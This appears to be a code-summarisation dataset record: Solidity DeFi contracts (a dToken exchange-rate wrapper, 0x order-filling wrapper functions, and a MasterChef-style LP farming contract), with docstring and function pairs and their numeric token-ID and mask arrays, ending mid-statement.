to the current exchange rate, get user's corresponding token balance * based on the dToken amount, which has substracted dToken fee. * @param _account Account to query token balance. * @return Actual token balance based on dToken amount. */ function getTokenBalance(address _account) external view returns (uint256) { return rmul(balances[_account].value, getExchangeRate()); } /** * @dev According to the current exchange rate, get user's accrued interest until now, it is an estimation, since it use the exchange rate in view instead of the realtime one. * @param _account Account to query token balance. * @return Estimation of accrued interest till now. */ function getCurrentInterest(address _account) external view returns (uint256) { return balances[_account].interest.add( rmul( getExchangeRate().sub(balances[_account].exchangeRate), balances[_account].value ) ); } /** * @dev Get the current list of the handlers. */ function getHandlers() public view returns (address[] memory) { (address[] memory _handlers, ) = IDispatcher(dispatcher).getHandlers(); return _handlers; } /** * @dev Get all deposit token amount including interest. */ function getTotalBalance() external view returns (uint256) { address[] memory _handlers = getHandlers(); uint256 _tokenTotalBalance = 0; for (uint256 i = 0; i < _handlers.length; i++) _tokenTotalBalance = _tokenTotalBalance.add( IHandler(_handlers[i]).getBalance(token) ); return _tokenTotalBalance; } /** * @dev Get maximum valid token amount in the whole market. */ function getLiquidity() external view returns (uint256) { address[] memory _handlers = getHandlers(); uint256 _liquidity = 0; for (uint256 i = 0; i < _handlers.length; i++) _liquidity = _liquidity.add( IHandler(_handlers[i]).getLiquidity(token) ); return _liquidity; } /** * @dev Current exchange rate, scaled by 1e18. */ function getExchangeRate() public view returns (uint256) { address[] memory _handlers = getHandlers(); address _token = token; uint256 _totalToken = 0; for (uint256 i = 0; i < _handlers.length; i++) _totalToken = _totalToken.add( IHandler(_handlers[i]).getBalance(_token) ); return totalSupply == 0 ? BASE : rdiv(_totalToken, totalSupply); } function currentExchangeRate() external returns (uint256) { return getCurrentExchangeRate(); } function totalUnderlying() external returns (uint256) { address[] memory _handlers = getHandlers(); uint256 _tokenTotalBalance = 0; for (uint256 i = 0; i < _handlers.length; i++) _tokenTotalBalance = _tokenTotalBalance.add( IHandler(_handlers[i]).getRealBalance(token) ); return _tokenTotalBalance; } function getRealLiquidity() external returns (uint256) { address[] memory _handlers = getHandlers(); uint256 _liquidity = 0; for (uint256 i = 0; i < _handlers.length; i++) _liquidity = _liquidity.add( IHandler(_handlers[i]).getRealLiquidity(token) ); return _liquidity; } function balanceOfUnderlying(address _account) external returns (uint256) { uint256 _underlying = rmul( balances[_account].value, getCurrentExchangeRate() ); return _underlying.sub( rmul(_underlying, originationFee[this.redeem.selector]) ); } function getBaseData() external returns ( uint256, uint256, uint256, uint256, uint256 ) { address[] memory _handlers = getHandlers(); uint256 _tokenTotalBalance = 0; for (uint256 i = 0; i < _handlers.length; i++) _tokenTotalBalance = _tokenTotalBalance.add( IHandler(_handlers[i]).getRealBalance(token) ); return ( decimals, getCurrentExchangeRate(), originationFee[DToken(this).mint.selector], originationFee[DToken(this).redeem.selector], _tokenTotalBalance ); } function getHandlerInfo() external returns ( address[] memory, uint256[] memory, uint256[] memory ) { address[] memory _handlers = getHandlers(); uint256[] memory _balances = new uint256[](_handlers.length); uint256[] memory _liquidities = new uint256[](_handlers.length); for (uint256 i = 0; i < _handlers.length; i++) { _balances[i] = IHandler(_handlers[i]).getRealBalance(token); _liquidities[i] = IHandler(_handlers[i]).getRealLiquidity(token); } return (_handlers, _balances, _liquidities); } }
* @dev Current exchange rate, scaled by 1e18./
function getExchangeRate() public view returns (uint256) { address[] memory _handlers = getHandlers(); address _token = token; uint256 _totalToken = 0; for (uint256 i = 0; i < _handlers.length; i++) _totalToken = _totalToken.add( IHandler(_handlers[i]).getBalance(_token) ); return totalSupply == 0 ? BASE : rdiv(_totalToken, totalSupply); }
12,948,881
[ 1, 3935, 7829, 4993, 16, 12304, 635, 404, 73, 2643, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 336, 11688, 4727, 1435, 1071, 1476, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 1758, 8526, 3778, 389, 11046, 273, 336, 6919, 5621, 203, 3639, 1758, 389, 2316, 273, 1147, 31, 203, 3639, 2254, 5034, 389, 4963, 1345, 273, 374, 31, 203, 3639, 364, 261, 11890, 5034, 277, 273, 374, 31, 277, 411, 389, 11046, 18, 2469, 31, 277, 27245, 203, 5411, 389, 4963, 1345, 273, 389, 4963, 1345, 18, 1289, 12, 203, 7734, 467, 1503, 24899, 11046, 63, 77, 65, 2934, 588, 13937, 24899, 2316, 13, 203, 5411, 11272, 203, 203, 3639, 327, 2078, 3088, 1283, 422, 374, 692, 10250, 294, 436, 2892, 24899, 4963, 1345, 16, 2078, 3088, 1283, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/* Copyright 2018 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity ^0.4.24; pragma experimental ABIEncoderV2; import "@0x/contracts-utils/contracts/src/ReentrancyGuard.sol"; import "@0x/contracts-exchange-libs/contracts/src/LibMath.sol"; import "@0x/contracts-exchange-libs/contracts/src/LibOrder.sol"; import "@0x/contracts-exchange-libs/contracts/src/LibFillResults.sol"; import "@0x/contracts-exchange-libs/contracts/src/LibAbiEncoder.sol"; import "./mixins/MExchangeCore.sol"; import "./mixins/MWrapperFunctions.sol"; contract MixinWrapperFunctions is ReentrancyGuard, LibMath, LibFillResults, LibAbiEncoder, MExchangeCore, MWrapperFunctions { /// @dev Fills the input order. Reverts if exact takerAssetFillAmount not filled. /// @param order Order struct containing order specifications. /// @param takerAssetFillAmount Desired amount of takerAsset to sell. /// @param signature Proof that order has been created by maker. function fillOrKillOrder( LibOrder.Order memory order, uint256 takerAssetFillAmount, bytes memory signature ) public nonReentrant returns (FillResults memory fillResults) { fillResults = fillOrKillOrderInternal( order, takerAssetFillAmount, signature ); return fillResults; } /// @dev Fills the input order. /// Returns false if the transaction would otherwise revert. /// @param order Order struct containing order specifications. /// @param takerAssetFillAmount Desired amount of takerAsset to sell. /// @param signature Proof that order has been created by maker. /// @return Amounts filled and fees paid by maker and taker. function fillOrderNoThrow( LibOrder.Order memory order, uint256 takerAssetFillAmount, bytes memory signature ) public returns (FillResults memory fillResults) { // ABI encode calldata for `fillOrder` bytes memory fillOrderCalldata = abiEncodeFillOrder( order, takerAssetFillAmount, signature ); // Delegate to `fillOrder` and handle any exceptions gracefully assembly { let success := delegatecall( gas, // forward all gas address, // call address of this contract add(fillOrderCalldata, 32), // pointer to start of input (skip array length in first 32 bytes) mload(fillOrderCalldata), // length of input fillOrderCalldata, // write output over input 128 // output size is 128 bytes ) if success { mstore(fillResults, mload(fillOrderCalldata)) mstore(add(fillResults, 32), mload(add(fillOrderCalldata, 32))) mstore(add(fillResults, 64), mload(add(fillOrderCalldata, 64))) mstore(add(fillResults, 96), mload(add(fillOrderCalldata, 96))) } } // fillResults values will be 0 by default if call was unsuccessful return fillResults; } /// @dev Synchronously executes multiple calls of fillOrder. /// @param orders Array of order specifications. /// @param takerAssetFillAmounts Array of desired amounts of takerAsset to sell in orders. /// @param signatures Proofs that orders have been created by makers. /// @return Amounts filled and fees paid by makers and taker. /// NOTE: makerAssetFilledAmount and takerAssetFilledAmount may include amounts filled of different assets. function batchFillOrders( LibOrder.Order[] memory orders, uint256[] memory takerAssetFillAmounts, bytes[] memory signatures ) public nonReentrant returns (FillResults memory totalFillResults) { uint256 ordersLength = orders.length; for (uint256 i = 0; i != ordersLength; i++) { FillResults memory singleFillResults = fillOrderInternal( orders[i], takerAssetFillAmounts[i], signatures[i] ); addFillResults(totalFillResults, singleFillResults); } return totalFillResults; } /// @dev Synchronously executes multiple calls of fillOrKill. /// @param orders Array of order specifications. /// @param takerAssetFillAmounts Array of desired amounts of takerAsset to sell in orders. /// @param signatures Proofs that orders have been created by makers. /// @return Amounts filled and fees paid by makers and taker. /// NOTE: makerAssetFilledAmount and takerAssetFilledAmount may include amounts filled of different assets. function batchFillOrKillOrders( LibOrder.Order[] memory orders, uint256[] memory takerAssetFillAmounts, bytes[] memory signatures ) public nonReentrant returns (FillResults memory totalFillResults) { uint256 ordersLength = orders.length; for (uint256 i = 0; i != ordersLength; i++) { FillResults memory singleFillResults = fillOrKillOrderInternal( orders[i], takerAssetFillAmounts[i], signatures[i] ); addFillResults(totalFillResults, singleFillResults); } return totalFillResults; } /// @dev Fills an order with specified parameters and ECDSA signature. /// Returns false if the transaction would otherwise revert. /// @param orders Array of order specifications. /// @param takerAssetFillAmounts Array of desired amounts of takerAsset to sell in orders. /// @param signatures Proofs that orders have been created by makers. /// @return Amounts filled and fees paid by makers and taker. /// NOTE: makerAssetFilledAmount and takerAssetFilledAmount may include amounts filled of different assets. function batchFillOrdersNoThrow( LibOrder.Order[] memory orders, uint256[] memory takerAssetFillAmounts, bytes[] memory signatures ) public returns (FillResults memory totalFillResults) { uint256 ordersLength = orders.length; for (uint256 i = 0; i != ordersLength; i++) { FillResults memory singleFillResults = fillOrderNoThrow( orders[i], takerAssetFillAmounts[i], signatures[i] ); addFillResults(totalFillResults, singleFillResults); } return totalFillResults; } /// @dev Synchronously executes multiple calls of fillOrder until total amount of takerAsset is sold by taker. /// @param orders Array of order specifications. /// @param takerAssetFillAmount Desired amount of takerAsset to sell. /// @param signatures Proofs that orders have been created by makers. /// @return Amounts filled and fees paid by makers and taker. function marketSellOrders( LibOrder.Order[] memory orders, uint256 takerAssetFillAmount, bytes[] memory signatures ) public nonReentrant returns (FillResults memory totalFillResults) { bytes memory takerAssetData = orders[0].takerAssetData; uint256 ordersLength = orders.length; for (uint256 i = 0; i != ordersLength; i++) { // We assume that asset being sold by taker is the same for each order. // Rather than passing this in as calldata, we use the takerAssetData from the first order in all later orders. orders[i].takerAssetData = takerAssetData; // Calculate the remaining amount of takerAsset to sell uint256 remainingTakerAssetFillAmount = safeSub(takerAssetFillAmount, totalFillResults.takerAssetFilledAmount); // Attempt to sell the remaining amount of takerAsset FillResults memory singleFillResults = fillOrderInternal( orders[i], remainingTakerAssetFillAmount, signatures[i] ); // Update amounts filled and fees paid by maker and taker addFillResults(totalFillResults, singleFillResults); // Stop execution if the entire amount of takerAsset has been sold if (totalFillResults.takerAssetFilledAmount >= takerAssetFillAmount) { break; } } return totalFillResults; } /// @dev Synchronously executes multiple calls of fillOrder until total amount of takerAsset is sold by taker. /// Returns false if the transaction would otherwise revert. /// @param orders Array of order specifications. /// @param takerAssetFillAmount Desired amount of takerAsset to sell. /// @param signatures Proofs that orders have been signed by makers. /// @return Amounts filled and fees paid by makers and taker. function marketSellOrdersNoThrow( LibOrder.Order[] memory orders, uint256 takerAssetFillAmount, bytes[] memory signatures ) public returns (FillResults memory totalFillResults) { bytes memory takerAssetData = orders[0].takerAssetData; uint256 ordersLength = orders.length; for (uint256 i = 0; i != ordersLength; i++) { // We assume that asset being sold by taker is the same for each order. // Rather than passing this in as calldata, we use the takerAssetData from the first order in all later orders. orders[i].takerAssetData = takerAssetData; // Calculate the remaining amount of takerAsset to sell uint256 remainingTakerAssetFillAmount = safeSub(takerAssetFillAmount, totalFillResults.takerAssetFilledAmount); // Attempt to sell the remaining amount of takerAsset FillResults memory singleFillResults = fillOrderNoThrow( orders[i], remainingTakerAssetFillAmount, signatures[i] ); // Update amounts filled and fees paid by maker and taker addFillResults(totalFillResults, singleFillResults); // Stop execution if the entire amount of takerAsset has been sold if (totalFillResults.takerAssetFilledAmount >= takerAssetFillAmount) { break; } } return totalFillResults; } /// @dev Synchronously executes multiple calls of fillOrder until total amount of makerAsset is bought by taker. /// @param orders Array of order specifications. /// @param makerAssetFillAmount Desired amount of makerAsset to buy. /// @param signatures Proofs that orders have been signed by makers. /// @return Amounts filled and fees paid by makers and taker. function marketBuyOrders( LibOrder.Order[] memory orders, uint256 makerAssetFillAmount, bytes[] memory signatures ) public nonReentrant returns (FillResults memory totalFillResults) { bytes memory makerAssetData = orders[0].makerAssetData; uint256 ordersLength = orders.length; for (uint256 i = 0; i != ordersLength; i++) { // We assume that asset being bought by taker is the same for each order. // Rather than passing this in as calldata, we copy the makerAssetData from the first order onto all later orders. orders[i].makerAssetData = makerAssetData; // Calculate the remaining amount of makerAsset to buy uint256 remainingMakerAssetFillAmount = safeSub(makerAssetFillAmount, totalFillResults.makerAssetFilledAmount); // Convert the remaining amount of makerAsset to buy into remaining amount // of takerAsset to sell, assuming entire amount can be sold in the current order uint256 remainingTakerAssetFillAmount = getPartialAmountFloor( orders[i].takerAssetAmount, orders[i].makerAssetAmount, remainingMakerAssetFillAmount ); // Attempt to sell the remaining amount of takerAsset FillResults memory singleFillResults = fillOrderInternal( orders[i], remainingTakerAssetFillAmount, signatures[i] ); // Update amounts filled and fees paid by maker and taker addFillResults(totalFillResults, singleFillResults); // Stop execution if the entire amount of makerAsset has been bought if (totalFillResults.makerAssetFilledAmount >= makerAssetFillAmount) { break; } } return totalFillResults; } /// @dev Synchronously executes multiple fill orders in a single transaction until total amount is bought by taker. /// Returns false if the transaction would otherwise revert. /// @param orders Array of order specifications. /// @param makerAssetFillAmount Desired amount of makerAsset to buy. /// @param signatures Proofs that orders have been signed by makers. /// @return Amounts filled and fees paid by makers and taker. function marketBuyOrdersNoThrow( LibOrder.Order[] memory orders, uint256 makerAssetFillAmount, bytes[] memory signatures ) public returns (FillResults memory totalFillResults) { bytes memory makerAssetData = orders[0].makerAssetData; uint256 ordersLength = orders.length; for (uint256 i = 0; i != ordersLength; i++) { // We assume that asset being bought by taker is the same for each order. // Rather than passing this in as calldata, we copy the makerAssetData from the first order onto all later orders. orders[i].makerAssetData = makerAssetData; // Calculate the remaining amount of makerAsset to buy uint256 remainingMakerAssetFillAmount = safeSub(makerAssetFillAmount, totalFillResults.makerAssetFilledAmount); // Convert the remaining amount of makerAsset to buy into remaining amount // of takerAsset to sell, assuming entire amount can be sold in the current order uint256 remainingTakerAssetFillAmount = getPartialAmountFloor( orders[i].takerAssetAmount, orders[i].makerAssetAmount, remainingMakerAssetFillAmount ); // Attempt to sell the remaining amount of takerAsset FillResults memory singleFillResults = fillOrderNoThrow( orders[i], remainingTakerAssetFillAmount, signatures[i] ); // Update amounts filled and fees paid by maker and taker addFillResults(totalFillResults, singleFillResults); // Stop execution if the entire amount of makerAsset has been bought if (totalFillResults.makerAssetFilledAmount >= makerAssetFillAmount) { break; } } return totalFillResults; } /// @dev Synchronously cancels multiple orders in a single transaction. /// @param orders Array of order specifications. function batchCancelOrders(LibOrder.Order[] memory orders) public nonReentrant { uint256 ordersLength = orders.length; for (uint256 i = 0; i != ordersLength; i++) { cancelOrderInternal(orders[i]); } } /// @dev Fetches information for all passed in orders. /// @param orders Array of order specifications. /// @return Array of OrderInfo instances that correspond to each order. function getOrdersInfo(LibOrder.Order[] memory orders) public view returns (LibOrder.OrderInfo[] memory) { uint256 ordersLength = orders.length; LibOrder.OrderInfo[] memory ordersInfo = new LibOrder.OrderInfo[](ordersLength); for (uint256 i = 0; i != ordersLength; i++) { ordersInfo[i] = getOrderInfo(orders[i]); } return ordersInfo; } /// @dev Fills the input order. Reverts if exact takerAssetFillAmount not filled. /// @param order Order struct containing order specifications. /// @param takerAssetFillAmount Desired amount of takerAsset to sell. /// @param signature Proof that order has been created by maker. function fillOrKillOrderInternal( LibOrder.Order memory order, uint256 takerAssetFillAmount, bytes memory signature ) internal returns (FillResults memory fillResults) { fillResults = fillOrderInternal( order, takerAssetFillAmount, signature ); require( fillResults.takerAssetFilledAmount == takerAssetFillAmount, "COMPLETE_FILL_FAILED" ); return fillResults; } }
@dev Synchronously executes multiple calls of fillOrder. @param orders Array of order specifications. @param takerAssetFillAmounts Array of desired amounts of takerAsset to sell in orders. @param signatures Proofs that orders have been created by makers. @return Amounts filled and fees paid by makers and taker. NOTE: makerAssetFilledAmount and takerAssetFilledAmount may include amounts filled of different assets.
function batchFillOrders( LibOrder.Order[] memory orders, uint256[] memory takerAssetFillAmounts, bytes[] memory signatures ) public nonReentrant returns (FillResults memory totalFillResults) { uint256 ordersLength = orders.length; for (uint256 i = 0; i != ordersLength; i++) { FillResults memory singleFillResults = fillOrderInternal( orders[i], takerAssetFillAmounts[i], signatures[i] ); addFillResults(totalFillResults, singleFillResults); } return totalFillResults; }
6,380,169
[ 1, 55, 24845, 11997, 3229, 4097, 434, 3636, 2448, 18, 225, 11077, 1510, 434, 1353, 21950, 18, 225, 268, 6388, 6672, 8026, 6275, 87, 1510, 434, 6049, 30980, 434, 268, 6388, 6672, 358, 357, 80, 316, 11077, 18, 225, 14862, 1186, 792, 87, 716, 11077, 1240, 2118, 2522, 635, 29796, 414, 18, 327, 16811, 87, 6300, 471, 1656, 281, 30591, 635, 29796, 414, 471, 268, 6388, 18, 540, 5219, 30, 312, 6388, 6672, 29754, 6275, 471, 268, 6388, 6672, 29754, 6275, 2026, 2341, 30980, 6300, 434, 3775, 7176, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 2581, 8026, 16528, 12, 203, 3639, 10560, 2448, 18, 2448, 8526, 3778, 11077, 16, 203, 3639, 2254, 5034, 8526, 3778, 268, 6388, 6672, 8026, 6275, 87, 16, 203, 3639, 1731, 8526, 3778, 14862, 203, 565, 262, 203, 3639, 1071, 203, 3639, 1661, 426, 8230, 970, 203, 3639, 1135, 261, 8026, 3447, 3778, 2078, 8026, 3447, 13, 203, 565, 288, 203, 3639, 2254, 5034, 11077, 1782, 273, 11077, 18, 2469, 31, 203, 3639, 364, 261, 11890, 5034, 277, 273, 374, 31, 277, 480, 11077, 1782, 31, 277, 27245, 288, 203, 5411, 14192, 3447, 3778, 2202, 8026, 3447, 273, 3636, 2448, 3061, 12, 203, 7734, 11077, 63, 77, 6487, 203, 7734, 268, 6388, 6672, 8026, 6275, 87, 63, 77, 6487, 203, 7734, 14862, 63, 77, 65, 203, 5411, 11272, 203, 5411, 527, 8026, 3447, 12, 4963, 8026, 3447, 16, 2202, 8026, 3447, 1769, 203, 3639, 289, 203, 3639, 327, 2078, 8026, 3447, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.6.12; import "IERC20.sol"; import "SafeERC20.sol"; import "EnumerableSet.sol"; import "SafeMath.sol"; import "Ownable.sol"; import "DPCToken.sol"; interface IMigrator { // Take the current LP token address and return the new LP token address. // Migrator should have full access to the caller's LP token. // Return the new LP token address. // // Migrator must have allowance access to UniswapV2 LP tokens. // else something bad will happen. Traditional UniswapV2 does not // do that so be careful! function migrate(IERC20 token) external returns (IERC20); } // Master Farming. He can make DPC and he is a fair guy. // // Note that it's ownable and the owner wields tremendous power. The ownership // will be transferred to a governance smart contract once DPC is sufficiently // distributed and the community can show to govern itself. // // Have fun reading it. Hopefully it's bug-free. God bless. contract Farming is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 paidPerShare; //Paid DPC per share uint256 rewardDebt; // Reward debt. See explanation below. // // We do some fancy math here. Basically, any point in time, the amount of DPCs // entitled to a user but is pending to be distributed is: // // pending reward = (user.amount * pool.accDPCPerShare) - user.rewardDebt // // Whenever a user deposits or withdraws LP tokens or Harvest DPC to a pool. Here's what happens: // 1. The pool's `accDPCPerShare` (and `lastRewardBlock`) gets updated. // 2. User receives the pending reward sent to his/her address. // 3. User's `amount` gets updated. // 4. User's `rewardDebt` gets updated. } // Info of each pool. struct PoolInfo { IERC20 lpToken; // Address of LP token contract. uint256 allocPoint; // How many allocation points assigned to this pool. DPCs to distribute per block. uint256 lastRewardBlock; // Last block number that DPCs allocation occurs. uint256 accDPCPerShare; // Accumulated DPCs per share, times 1e18. See below. } struct Plan { uint256 startBlock; //When the allocation plan starts uint256 endBlock; //When the allocation plan ends uint256 rewardPerBlock; //How many DPCs would be minted per mined block } // Airdrop address. address public airdropAddress; // Seed address. address public seedAddress; // Team address. address public teamAddress; // DNode address. address public dNodeAddress; // The DPC TOKEN! DPCToken public DPC; // Migrator IMigrator public migrator; // Info of each pool. PoolInfo[] public poolInfo; // Info of each allocation plan. Plan[] public plans; // Info of each user that stakes LP tokens. mapping (uint256 => mapping (address => UserInfo)) public userInfo; // Total allocation points. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint = 0; // The block number when DPC mining starts. uint256 public startBlock; event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount); event Harvest(address indexed user, uint256 indexed pid, uint256 amount); constructor( DPCToken _DPC, uint256 _startBlock ) public { DPC = _DPC; startBlock = _startBlock; } function poolLength() external view returns (uint256) { return poolInfo.length; } function getUserInfo(uint256 _pid, address _address) public view returns(uint256){ return userInfo[_pid][_address].amount; } // Add a new lp to the pool. Can only be called by the owner. function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push(PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accDPCPerShare: 0 })); } // Add allocation plan, Can onlybe calledd by the owner function addPlan(uint256 _startBlock,uint256 _endBlock, uint256 _rewardPerBlock) public onlyOwner { plans.push(Plan({ startBlock: _startBlock, endBlock: _endBlock, rewardPerBlock: _rewardPerBlock })); } // Update the given pool's DPC allocation point. Can only be called by the owner. function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint); poolInfo[_pid].allocPoint = _allocPoint; } // Update the allocation plan, Can only be called by the owner function setPlan(uint256 _pid, uint256 _startBlock,uint256 _endBlock,uint256 _rewardPerBlock) public onlyOwner { plans[_pid].startBlock = _startBlock; plans[_pid].endBlock = _endBlock; plans[_pid].rewardPerBlock = _rewardPerBlock; } //Calculate the Accumulated DPC reward from indicated block according to allocation plan function getAccRewardFromBlock(uint256 _from) public view returns (uint256) { uint256 accReward = 0; for(uint i = 0; i<plans.length; i++){ if(_from > plans[i].endBlock){ accReward = accReward.add(plans[i].rewardPerBlock.mul(plans[i].endBlock.sub(plans[i].startBlock))); } if( _from >= plans[i].startBlock && _from <= plans[i].endBlock){ accReward = accReward.add(plans[i].rewardPerBlock.mul(_from.sub(plans[i].startBlock))); } } return accReward; } // Set the migrator contract. Can only be called by the owner. function setMigrator(IMigrator _migrator) public onlyOwner { migrator = _migrator; } // Migrate lp token to another lp contract. Can be called by anyone. We trust that migrator contract is good. function migrate(uint256 _pid) public { require(address(migrator) != address(0), "migrate: no migrator"); PoolInfo storage pool = poolInfo[_pid]; IERC20 lpToken = pool.lpToken; uint256 bal = lpToken.balanceOf(address(this)); lpToken.safeApprove(address(migrator), bal); IERC20 newLpToken = migrator.migrate(lpToken); require(bal == newLpToken.balanceOf(address(this)), "migrate: bad"); pool.lpToken = newLpToken; } // View function to see pending DPCs on frontend. function pendingDPC(uint256 _pid, address _user) public view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accDPCPerShare = pool.accDPCPerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 accReward = getAccRewardFromBlock(block.number).sub(getAccRewardFromBlock(pool.lastRewardBlock)); uint256 DPCReward = accReward.mul(pool.allocPoint).div(totalAllocPoint); accDPCPerShare = accDPCPerShare.add(DPCReward.mul(1e18).div(lpSupply)); } return user.amount.mul(accDPCPerShare.sub(user.paidPerShare)).div(1e18); } // Update reward variables for all pools. Be careful of gas spending! function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } uint256 accReward = getAccRewardFromBlock(block.number).sub(getAccRewardFromBlock(pool.lastRewardBlock)); uint256 DPCReward = accReward.mul(pool.allocPoint).div(totalAllocPoint); DPC.mint(address(this), DPCReward); DPC.mint(airdropAddress, DPCReward.mul(5).div(50)); DPC.mint(teamAddress, DPCReward.mul(15).div(50)); DPC.mint(seedAddress, DPCReward.mul(5).div(50)); DPC.mint(dNodeAddress, DPCReward.mul(15).div(50)); pool.accDPCPerShare = pool.accDPCPerShare.add(DPCReward.mul(1e18).div(lpSupply)); pool.lastRewardBlock = block.number; } // Deposit LP tokens to Farming for DPC allocation. function deposit(uint256 _pid, uint256 _amount) public { require(block.number >=startBlock,"farming not started yet"); PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); if (user.amount > 0) { uint256 pending = pendingDPC(_pid,msg.sender); if(pending > 0) { safeDPCTransfer(msg.sender, pending); } } if(_amount > 0) { pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount); user.amount = user.amount.add(_amount); user.paidPerShare = pool.accDPCPerShare; } user.rewardDebt = user.amount.mul(pool.accDPCPerShare).div(1e18); emit 